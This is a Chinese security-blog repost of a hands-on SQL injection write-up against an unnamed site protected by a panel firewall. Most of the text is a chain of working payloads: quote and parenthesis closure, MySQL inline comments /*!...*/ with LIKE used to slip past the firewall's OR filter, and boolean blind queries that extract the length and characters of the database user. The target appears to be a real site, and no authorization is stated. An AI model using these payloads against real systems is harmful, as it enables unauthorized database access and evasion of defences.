实战SQL注入某面板防火墙绕过

admin 2026-05-07 05:47:24 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档记录了一次针对某面板防火墙的SQL注入实战过程,作者通过手动测试发现站点存在注入漏洞,详细演示了如何利用单引号闭合、注释符绕过防火墙对OR关键字的检测,并成功通过布尔注入获取数据库信息。关键发现包括防火墙仅拦截OR后跟特定字符的规则缺陷,以及使用注释符配合LIKE语句实现条件判断的技巧。 综合评分: 85 文章分类: WEB安全,渗透测试,漏洞分析,实战经验,安全工具


cover_image

实战SQL注入某面板防火墙绕过

原创

Vlan911 Vlan911

我不懂安全

2026年5月6日 09:17 北京

在小说阅读器读本章

去阅读

近期的一次SQL注入实战,通过手动测试发现站点存在SQL注入漏洞,首先在探测的时候,输入单引号查看效果

再输入单引号进行闭合

通过报错信息可以直到,想要达到闭合条件最好还是使用%号、引号和括号,尝试闭合配合注释

尝试使用布尔注入的时候,发现被拦截了

但是去掉or后面的字符就不拦截keyword=123%’+or+)–+-

尝试对or使用||、&、等编码转换,都会被拦截,似乎只要or后面跟东西就被拦截,灵机一动,发现可以实现布尔条件,并且数据发生明显变化keyword=123%’+or+’1′)–+-

看似成功,实则拦截keyword=123%’+or+’1’=’1′)–+-

不过并没有什么用,这个时候就比较容易了,一手keyword=123%’+or+’1’=/*!1*/)–+-

尝试条件为假的时候keyword=123%’+or+’1’=/*!2*/)–+-

继续下一步的时候,发现似乎只能输入纯数字,字符串不行、函数也不行

keyword=123%’+or+’1’=/*!length()*/)–+-

keyword=123%’+or+’1’=/*!’1’*/)–+-

这更好绕keyword=123%’+or+’1’+like+/*!length(1)*/)–+-

这个时候再构造个假条件keyword=123%’+or+’1’+like+/*!length(12)*/)–+-

没问题,此时尝试获取数据库当前用户名长度

keyword=123%’+or+’25’+like+/*!length(user())*/)–+-

获取当前数据库用户名第一位对应的ascii值

keyword=123%’+or+’100’+like+/*!ascii(mid(user(),1,1))*/)–+-


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:我不懂安全 Vlan911 Vlan911《实战SQL注入某面板防火墙绕过》

跨系统用户信息混淆漏洞 网络安全文章

跨系统用户信息混淆漏洞

文章总结: 本文详细分析了跨系统用户信息混淆漏洞的测试流程与危害,指出当关联站点在邮箱注册时未正确验证唯一性或缺乏二次确认机制时,攻击者可通过在A站注册B站已存
评论:0   参与:  0